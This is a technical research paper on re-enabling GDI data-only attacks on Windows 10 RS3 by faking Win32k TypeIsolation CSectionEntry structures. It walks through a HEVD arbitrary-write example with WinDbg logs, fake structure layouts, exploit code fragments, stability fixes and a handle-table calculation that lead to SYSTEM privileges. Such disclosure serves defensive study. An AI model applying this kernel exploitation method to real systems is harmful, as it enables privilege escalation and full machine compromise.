1 Background
In recent years, the exploit of GDI objects to complete arbitrary memory address R/W in kernel exploitation has become more and more useful. In many types of vulnerabilityes such as pool overflow, arbitrary writes, and out-of-bound write, use after free and double free, you can use GDI objects to read and write arbitrary memory. We call this GDI data-only attack.
Microsoft introduced the win32k type isolation after the Windows 10 build 1709 release to mitigate GDI data-only attack in kernel exploitation. I discovered a mistake in Win32k TypeIsolation when I reverse win32kbase.sys. It have resulted GDI data-only attack worked again in certain common vulnerabilities. In this paper, I will share this new attack scenario.
Debug environment:
OS:
Windows 10 rs3 16299.371
FILE:
Win32kbase.sys 10.0.16299.371
2 GDI data-only attack
GDI data-only attack is one of the common methods which used in kernel exploitation. Modify GDI object member-variables by common vulnerabilities, you can use the GDI API in win32k to complete arbitrary memory read and write. At present, two GDI objects commonly used in GDI data-only attacks are Bitmap and Palette. An important structure of Bitmap is:
Typedef struct _SURFOBJ {
DHSURF dhsurf;
HSURF hsurf;
DHPDEV dhpdev;
HDEV hdev;
SIZEL sizlBitmap;
ULONG cjBits;
PVOID pvBits;
PVOID pvScan0;
LONG lDelta;
ULONG iUniq;
ULONG iBitmapFormat;
USHORT iType;
USHORT fjBitmap;
} SURFOBJ, *PSURFOBJ;
An important structure of Palette is:
Typedef struct _PALETTE64
{
BASEOBJECT64 BaseObject;
FLONG flPal;
ULONG32 cEntries;
ULONG32 ulTime;
HDC hdcHead;
ULONG64 hSelected;
ULONG64 cRefhpal;
ULONG64 cRefRegular;
ULONG64 ptransFore;
ULONG64 ptransCurrent;
ULONG64 ptransOld;
ULONG32 unk_038;
ULONG64 pfnGetNearest;
ULONG64 pfnGetMatch;
ULONG64 ulRGBTime;
ULONG64 pRGBXlate;
PALETTEENTRY *pFirstColor;
Struct _PALETTE *ppalThis;
PALETTEENTRY apalColors[3];
}
In the kernel structure of Bitmap and Palette, two important member-variables related to GDI data-only attack are Bitmap->pvScan0 and Palette->pFirstColor. Two member-variables point to Bitmap and Palette’s data field, and you can read or write data from data field through the GDI APIs. As long as we modify two member-variables to any memory address by triggering a vulnerability, we can use GetBitmapBits/SetBitmapBits or GetPaletteEntries/SetPaletteEntries to read and write arbitrary memory address.
About using the Bitmap and Palette to complete the GDI data-only attack Now that there are many related technical papers on the Internet, and it is not the focus of this paper, there will be no more deeply sharing. The relevant information can refer to the fifth part.
3 Win32k TypeIsolation
The exploit of GDI data-only attack greatly reduces the difficulty of kernel exploitation and can be used in most common types of vulnerabilities. Microsoft has added a new mitigation after Windows 10 rs3 build 1709 —- Win32k Typeisolation, which manages the GDI objects through a doubly-linked list, and separates the head of the GDI object from the data field. This is not only mitigate the exploit of pool fengshui which create a predictable pool and uses a GDI object to occupy the pool hole and modify member-variables by vulnerabilities. but also mitigate attack scenario which modifies other member-variables of GDI object header to increase the controllable range of the data field, because the head and data field is no longer adjacent.
About win32k typeisolation mechanism can refer to the following figure:
Here I will explain the important parts of the mechanism of win32k typeisolation. The detailed operation mechanism of win32k typeisolation, including the allocation, and release of GDI object, can be referred to in the fifth part.
In win32k typeisolation, GDI object is managed uniformly through the CSectionEntry doubly linked list. The view field points to a 0x28000 memory space, and the head of the GDI object is managed here. The view field is managed by view array, and the array size is 0x1000. When assigning to a GDI object, RTL_BITMAP is used as an important basis for assigning a GDI object to a specified view field.
In CSectionEntry, bitmap_allocator points to CSectionBitmapAllocator, and xored_view, xor_key, xored_rtl_bitmap are stored in CSectionBitmapAllocator, where xored_view ^ xor_key points to the view field and xored_rtl_btimap ^ xor_key points to RTL_BITMAP.
In RTL_BITMAP, bitmap_buffer_ptr points to BitmapBuffer,and BitmapBuffer is used to record the status of the view field, which is 0 for idle and 1 for in use. When applying for a GDI object, it starts traversing the CSectionEntry list through win32kbase!gpTypeIsolation and checks whether the current view field contains a free memory by CSectionBitmapAllocator. If there is a free memory, a new GDI object header will be placed in the view field.
I did some research in the reverse engineering of the implementation of GDI object allocation and release about the CTypeIsolation class and the CSectionEntry class, and then I found a mistake. TypeIsolation traverses the CSectionEntry doubly linked list, uses the CSectionBitmapAllocator to determine the state of the view field, and manages the GDI object SURFACE which stored in the view field, but does not check the validity of CSectionEntry->view and CSectionEntry->bitmap_allocator pointers, that is to say if we can construct a fake view and fake bitmap_allocator, and we can use the vulnerability to modify CSectionEntry->view and CSectionEntry->bitmap_allocator to point to fake struct, we can re-use GDI object to complete the data-only attack.
4 Save and reborn gdi data-only attack!
In this section, I would like to share the idea of this attack scenario. HEVD is a practice driver developed by Hacksysteam that has typical kernel vulnerabilities. There is an Arbitrary Write vulnerability in HEVD. We use this vulnerability as example to share my attack scenario.
Attack scenario:
First look at the allocation of CSectionEntry, CSectionEntry will allocate 0x40 size session paged pool, CSectionEntry allocate pool memory implementation in NSInstrumentation::CSectionEntry::Create().
.text:00000001C002AC8A mov edx, 20h ; NumberOfBytes
.text:00000001C002AC8F mov r8d, 6F736955h ; Tag
.text:00000001C002AC95 lea ecx, [rdx+1] ; PoolType
.text:00000001C002AC98 call cs:__imp_ExAllocatePoolWithTag //Allocate 0x40 session paged pool
In other words, we can still use the pool fengshui to create a predictable session paged pool hole and it will be occupied with CSectionEntry. Therefore, in the exploit scenario of HEVD Arbitrary write, we use the tagWND to create a stable pool hole. , and use the HMValidateHandle to leak tagWND kernel object address. Because the current vulnerability instance is an arbitrary write vulnerability, if we can reveal the address of the kernel object, it will facilitate our understanding of this attack scenario, of course, in many attack scenarios, we only need to use pool fengshui to create a predictable pool.
Kd> g//make a stable pool hole by using tagWND
Break instruction exception - code 80000003 (first chance)
0033:00007ff6`89a61829 cc int 3
Kd> p
0033:00007ff6`89a6182a 488b842410010000 mov rax,qword ptr [rsp+110h]
Kd> p
0033:00007ff6`89a61832 4839842400010000 cmp qword ptr [rsp+100h],rax
Kd> r rax
Rax=ffff862e827ca220
Kd> !pool ffff862e827ca220
Pool page ffff862e827ca220 region is Unknown
Ffff862e827ca000 size: 150 previous size: 0 (Allocated) Gh04
Ffff862e827ca150 size: 10 previous size: 150 (Free) Free
Ffff862e827ca160 size: b0 previous size: 10 (Free ) Uscu
*ffff862e827ca210 size: 40 previous size: b0 (Allocated) *Ustx Process: ffffd40acb28c580
Pooltag Ustx : USERTAG_TEXT, Binary : win32k!NtUserDrawCaptionTemp
Ffff862e827ca250 size: e0 previous size: 40 (Allocated) Gla8
Ffff862e827ca330 size: e0 previous size: e0 (Allocated) Gla8```
0xffff862e827ca220 is a stable session paged pool hole, and 0xffff862e827ca220 will be released later, in a free state.
Kd> p
0033:00007ff7`abc21787 488b842498000000 mov rax,qword ptr [rsp+98h]
Kd> p
0033:00007ff7`abc2178f 48398424a0000000 cmp qword ptr [rsp+0A0h],rax
Kd> !pool ffff862e827ca220
Pool page ffff862e827ca220 region is Unknown
Ffff862e827ca000 size: 150 previous size: 0 (Allocated) Gh04
Ffff862e827ca150 size: 10 previous size: 150 (Free) Free
Ffff862e827ca160 size: b0 previous size: 10 (Free) Uscu
*ffff862e827ca210 size: 40 previous size: b0 (Free ) *Ustx
Pooltag Ustx : USERTAG_TEXT, Binary : win32k!NtUserDrawCaptionTemp
Ffff862e827ca250 size: e0 previous size: 40 (Allocated) Gla8
Ffff862e827ca330 size: e0 previous size: e0 (Allocated) Gla8
Now we need to create the CSecitionEntry to occupy 0xffff862e827ca220. This requires the use of a feature of TypeIsolation. As mentioned in the second section, when the GDI object is requested, it will traverse the CSectionEntry and determine whether there is any free in the view field, if the view field of the CSectionEntry is full, the traversal will continue to the next CSectionEntry, but if CTypeIsolation doubly linked list, all the view fields of the CSectionEntrys are full, then NSInstrumentation::CSectionEntry::Create is invoked to create a new CSectionEntry.
Therefore, we allocate a large number of GDI objects after we have finished creating the pool hole to fill up all the CSectionEntry’s view fields to ensure that a new CSectionEntry is created and occupy a pool hole of size 0x40.
Kd> g//create a large number of GDI objects, 0xffff862e827ca220 is occupied by CSectionEntry
Kd> !pool ffff862e827ca220
Pool page ffff862e827ca220 region is Unknown
Ffff862e827ca000 size: 150 previous size: 0 (Allocated) Gh04
Ffff862e827ca150 size: 10 previous size: 150 (Free) Free
Ffff862e827ca160 size: b0 previous size: 10 (Free) Uscu
*ffff862e827ca210 size: 40 previous size: b0 (Allocated) *Uiso
Pooltag Uiso : USERTAG_ISOHEAP, Binary : win32k!TypeIsolation::Create
Ffff862e827ca250 size: e0 previous size: 40 (Allocated) Gla8 ffff86b442563150 size:
Next we need to construct the fake CSectionEntry->view and fake CSectionEntry->bitmap_allocator and use the Arbitrary Write to modify the member-variable pointer in the CSectionEntry in the session paged pool hole to point to the fake struct we constructed.
The view field of the new CSectionEntry that was created when we allocate a large number of GDI objects may already be full or partially full by SURFACEs. If we construct the fake struct to construct the view field as empty, then we can deceive TypeIsolation that GDI object will place SURFACE in a known location.
We use VirtualAllocEx to allocate the memory in the userspace to store the fake struct, and we set the userspace memory property to READWRITE.
Kd> dq 1e0000//fake pushlock
00000000`001e0000 00000000`00000000 00000000`0000006c
Kd> dq 1f0000//fake view
00000000`001f0000 00000000`00000000 00000000`00000000
00000000`001f0010 00000000`00000000 00000000`00000000
Kd> dq 190000//fake RTL_BITMAP
00000000`00190000 00000000`000000f0 00000000`00190010
00000000`00190010 00000000`00000000 00000000`00000000
Kd> dq 1c0000//fake CSectionBitmapAllocator
00000000`001c0000 00000000`001e0000 deadbeef`deb2b33f
00000000`001c0010 deadbeef`deadb33f deadbeef`deb4b33f
00000000`001c0020 00000001`00000001 00000001`00000000
Among them, 0x1f0000 points to the view field, 0x1c0000 points to CSectionBitmapAllocator, and the fake view field is used to store the GDI object. The structure of CSectionBitmapAllocator needs thoughtful construction because we need to use it to deceive the typeisolation that the CSectionEntry we control is a free view item.
Typedef struct _CSECTIONBITMAPALLOCATOR {
PVOID pushlock; // + 0x00
ULONG64 xored_view; // + 0x08
ULONG64 xor_key; // + 0x10
ULONG64 xored_rtl_bitmap; // + 0x18
ULONG bitmap_hint_index; // + 0x20
ULONG num_commited_views; // + 0x24
} CSECTIONBITMAPALLOCATOR, *PCSECTIONBITMAPALLOCATOR;
The above CSectionBitmapAllocator structure compares with 0x1c0000 structure, and I defined xor_key as 0xdeadbeefdeadb33f, as long as the xor_key ^ xor_view and xor_key ^ xor_rtl_bitmap operation point to the view field and RTL_BITMAP. In the debugging I found that the pushlock must point to a valid structure pointer, otherwise it will trigger BUGCHECK, so I allocate memory 0x1e0000 to store pushlock content.
As described in the second section, bitmap_hint_index is used as a condition to quickly index in the RTL_BITMAP, so this value also needs to be set to 0x00 to indicate the index in RTL_BITMAP. In the same way we look at the structure of RTL_BITMAP.
Typedef struct _RTL_BITMAP {
ULONG64 size; // + 0x00
PVOID bitmap_buffer; // + 0x08
} RTL_BITMAP, *PRTL_BITMAP;
Kd> dyb fffff322401b90b0
76543210 76543210 76543210 76543210
-------- -------- -------- --------
Fffff322`401b90b0 11110000 00000000 00000000 00000000 f0 00 00 00
Fffff322`401b90b4 00000000 00000000 00000000 00000000 00 00 00 00
Fffff322`401b90b8 11000000 10010000 00011011 01000000 c0 90 1b 40
Fffff322`401b90bc 00100010 11110011 11111111 11111111 22 f3 ff ff
Fffff322`401b90c0 11111111 11111111 11111111 11111111 ff ff ff ff
Fffff322`401b90c4 11111111 11111111 11111111 11111111 ff ff ff ff
Fffff322`401b90c8 11111111 11111111 11111111 11111111 ff ff ff ff
Fffff322`401b90cc 11111111 11111111 11111111 11111111 ff ff ff ff
Kd> dq fffff322401b90b0
Fffff322`401b90b0 00000000`000000f0 fffff322`401b90c0//ptr to rtl_bitmap buffer
Fffff322`401b90c0 ffffffff`ffffffff ffffffff`ffffffff
Fffff322`401b90d0 ffffffff`ffffffff
Here I select a valid RTL_BITMAP as a template, where the first member-variable represents the RTL_BITMAP size, the second member-variable points to the bitmap_buffer, and the immediately adjacent bitmap_buffer represents the state of the view field in bits. To deceive typeisolation, we will all of them are set to 0, indicating that the view field of the current CSectionEntry item is all idle, referring to the 0x190000 fake RTL_BITMAP structure.
Next, we only need to modify the CSectionEntry view and CSectionBitmapAllocator pointer through the HEVD’s Arbitrary write vulnerability.
Kd> dq ffff862e827ca220//before trigger
Ffff862e`827ca220 ffff862e`827cf4f0 ffff862e`827ef300
Ffff862e`827ca230 ffffc383`08613880 ffff862e`84780000
Ffff862e`827ca240 ffff862e`827f33c0 00000000`00000000
Kd> g / / trigger vulnerability, CSectionEntry-> view and CSectionEntry-> bitmap_allocator is modified
Break instruction exception - code 80000003 (first chance)
0033:00007ff7`abc21e35 cc int 3
Kd> dq ffff862e827ca220
Ffff862e`827ca220 ffff862e`827cf4f0 ffff862e`827ef300
Ffff862e`827ca230 ffffc383`08613880 00000000`001f0000
Ffff862e`827ca240 00000000`001c0000 00000000`00000000
Next, we normally allocate a GDI object, call CreateBitmap to create a bitmap object, and then observe the state of the view field.
Kd> g
Break instruction exception - code 80000003 (first chance)
0033:00007ff7`abc21ec8 cc int 3
Kd> dq 1f0280
00000000`001f0280 00000000`00051a2e 00000000`00000000
00000000`001f0290 ffffd40a`cc9fd700 00000000`00000000
00000000`001f02a0 00000000`00051a2e 00000000`00000000
00000000`001f02b0 00000000`00000000 00000002`00000040
00000000`001f02c0 00000000`00000080 ffff862e`8277da30
00000000`001f02d0 ffff862e`8277da30 00003f02`00000040
00000000`001f02e0 00010000`00000003 00000000`00000000
00000000`001f02f0 00000000`04800200 00000000`00000000
You can see that the bitmap kernel object is placed in the fake view field. We can read the bitmap kernel object directly from the userspace. Next, we only need to directly modify the pvScan0 of the bitmap kernel object stored in the userspace, and then call the GetBitmapBits/SetBitmapBits to complete any memory address read and write.
Summarize the exploit process:
Fix for full exploit:
In the course of completing the exploit, I discovered that BSOD was generated some time, which greatly reduced the stability of the GDI data-only attack. For example,
Kd> !analyze -v
************************************************** *****************************
* *
* Bugcheck Analysis *
* *
************************************************** *****************************
SYSTEM_SERVICE_EXCEPTION (3b)
An exception happened while performing a system service routine.
Arguments:
Arg1: 00000000c0000005, Exception code that caused the bugcheck
Arg2: ffffd7d895bd9847, Address of the instruction which caused the bugcheck
Arg3: ffff8c8f89e98cf0, Address of the context record for the exception that caused the bugcheck
Arg4: 0000000000000000, zero.
Debugging Details:
------------------
OVERLAPPED_MODULE: Address regions for 'dxgmms1' and 'dump_storport.sys' overlap
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - 0x%08lx
FAULTING_IP:
Win32kbase!NSInstrumentation::CTypeIsolation<163840,640>::AllocateType+47
Ffffd7d8`95bd9847 488b1e mov rbx, qword ptr [rsi]
CONTEXT: ffff8c8f89e98cf0 -- (.cxr 0xffff8c8f89e98cf0)
.cxr 0xffff8c8f89e98cf0
Rax=ffffdb0039e7c080 rbx=ffffd7a7424e4e00 rcx=ffffdb0039e7c080
Rdx=ffffd7a7424e4e00 rsi=00000000001e0000 rdi=ffffd7a740000660
Rip=ffffd7d895bd9847 rsp=ffff8c8f89e996e0 rbp=0000000000000000
R8=ffff8c8f89e996b8 r9=0000000000000001 r10=7ffffffffffffffc
R11=0000000000000027 r12=00000000000000ea r13=ffffd7a740000680
R14=ffffd7a7424dca70 r15=0000000000000027
Iopl=0 nv up ei pl nz na po nc
Cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010206
Win32kbase!NSInstrumentation::CTypeIsolation<163840,640>::AllocateType+0x47:
Ffffd7d8`95bd9847 488b1e mov rbx, qword ptr [rsi] ds:002b:00000000`001e0000=????????????????
After many tracking, I discovered that the main reason for BSOD is that the fake struct we created when using VirtualAllocEx is located in the process space of our current process. This space is not shared by other processes, that is, if we modify the view field through a vulnerability. After the pointer to the CSectionBitmapAllocator, when other processes create the GDI object, it will also traverse the CSecitionEntry. When traversing to the CSectionEntry we modify through the vulnerability, it will generate BSoD because the address space of the process is invalid, so here I did my first fix when the vulnerability was triggered finish.
DWORD64 fix_bitmapbits1 = 0xffffffffffffffff;
DWORD64 fix_bitmapbits2 = 0xffffffffffff;
DWORD64 fix_number = 0x2800000000;
CopyMemory((void *)(fakertl_bitmap + 0x10), &fix_bitmapbits1, 0x8);
CopyMemory((void *)(fakertl_bitmap + 0x18), &fix_bitmapbits1, 0x8);
CopyMemory((void *)(fakertl_bitmap + 0x20), &fix_bitmapbits1, 0x8);
CopyMemory((void *)(fakertl_bitmap + 0x28), &fix_bitmapbits2, 0x8);
CopyMemory((void *)(fakeallocator + 0x20), &fix_number, 0x8);
In the first fix, I modified the bitmap_hint_index and the rtl_bitmap to deceive the typeisolation when traverse the CSectionEntry and think that the view field of the fake CSectionEntry is currently full and will skip this CSectionEntry.
We know that the current CSectionEntry has been modified by us, so even if we end the exploit exit process, the CSectionEntry will still be part of the CTypeIsolation doubly linked list, and when our process exits, The current process space allocated by VirtualAllocEx will be released. This will lead to a lot of unknown errors. We have already had the ability to read and write at any address. So I did my second fix.
ArbitraryRead(bitmap, fakeview + 0x280 + 0x48, CSectionEntryKernelAddress + 0x8, (BYTE *)&CSectionPrevious, sizeof(DWORD64));
ArbitraryRead(bitmap, fakeview + 0x280 + 0x48, CSectionEntryKernelAddress, (BYTE *)&CSectionNext, sizeof(DWORD64));
LogMessage(L_INFO, L"Current CSectionEntry->previous: 0x%p", CSePrevious);
LogMessage(L_INFO, L"Current CSectionEntry->next: 0x%p", CSectionNext);
ArbitraryWrite(bitmap, fakeview + 0x280 + 0x48, CSectionNext + 0x8, (BYTE *)&CSectionPrevious, sizeof(DWORD64));
ArbitraryWrite(bitmap, fakeview + 0x280 + 0x48, CSectionPrevious, (BYTE *)&CSectionNext, sizeof(DWORD64));
In the second fix, I obtained CSectionEntry->previous and CSectionEntry->next, which unlinks the current CSectionEntry so that when the GDI object allocates traversal CSectionEntry, it will deal with fake CSectionEntry no longer.
After completing the two fixes, you can successfully use GDI data-only attack to complete any memory address read and write. Here, I directly obtained the SYSTEM permissions for the latest version of Windows10 rs3, but once again when the process completely exits, it triggers BSoD. After the analysis, I found that this BSoD is due to the unlink after, the GDI handle is still stored in the GDI handle table, then it will find the corresponding kernel object in CSectionEntry and free away, and we store the bitmap kernel object CSectionEntry has been unlink, Caused the occurrence of BSoD.
The problem occurs in NtGdiCloseProcess, which is responsible for releasing the GDI object of the current process. The call chain associated with SURFACE is as follows
0e ffff858c`8ef77300 ffff842e`52a57244 win32kbase!SURFACE::bDeleteSurface+0x7ef
0f ffff858c`8ef774d0 ffff842e`52a1303f win32kbase!SURFREF::bDeleteSurface+0x14
10 ffff858c`8ef77500 ffff842e`52a0cbef win32kbase!vCleanupSurfaces+0x87
11 ffff858c`8ef77530 ffff842e`52a0c804 win32kbase!NtGdiCloseProcess+0x11f
bDeleteSurface is responsible for releasing the SURFACE kernel object in the GDI handle table. We need to find the HBITMAP which stored in the fake view in the GDI handle table, and set it to 0x0. This will skip the subsequent free processing in bDeleteSurface. Then call HmgNextOwned to release the next GDI object. The key code for finding the location of HBITMAP in the GDI handle table is in HmgSharedLockCheck. The key code is as follows:
V4 = *(_QWORD *)(*(_QWORD *)(**(_QWORD **)(v10 + 24) + 8 *((unsigned __int64)(unsigned int)v6 >> 8)) + 16i64 * (unsigned __int8 )v6 + 8);
Here I have restored a complete calculation method to find the bitmap object:
*(*(*(*(*win32kbase!gpHandleManager+10)+8)+18)+(hbitmap&0xffff>>8)*8)+hbitmap&0xff*2*8
It is worth mentioning here is the need to leak the base address of win32kbase.sys, in the case of Low IL, we need vulnerability to leak info. And I use NtQuerySystemInformation in Medium IL to leak win32kbase.sys base address to calculate the gpHandleManager address, after Find the position of the target bitmap object in the GDI handle table in the fake view, and set it to 0x0. Finally complete the full exploit.
Now that the exploit of the kernel is getting harder and harder, a full exploitation often requires the support of other vulnerabilities, such as the info leak. Compared to the oob writes, uaf, double free, and write-what-where, the pool overflow is more complicated with this scenario, because it involves CSectionEntry->previous and CSectionEntry->next problems, but it is not impossible to use this scenario in pool overflow.
If you have any questions, welcome to discuss with me. Thank you!
5 Reference
https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives
https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentations/5A1F/DEFCON-25-5A1F-Demystifying-Kernel-Exploitation-By-Abusing-GDI-Objects.pdf
https://blog.quarkslab.com/reverse-engineering-the-win32k-type-isolation-mitigation.html
https://github.com/sam-b/windows_kernel_address_leaks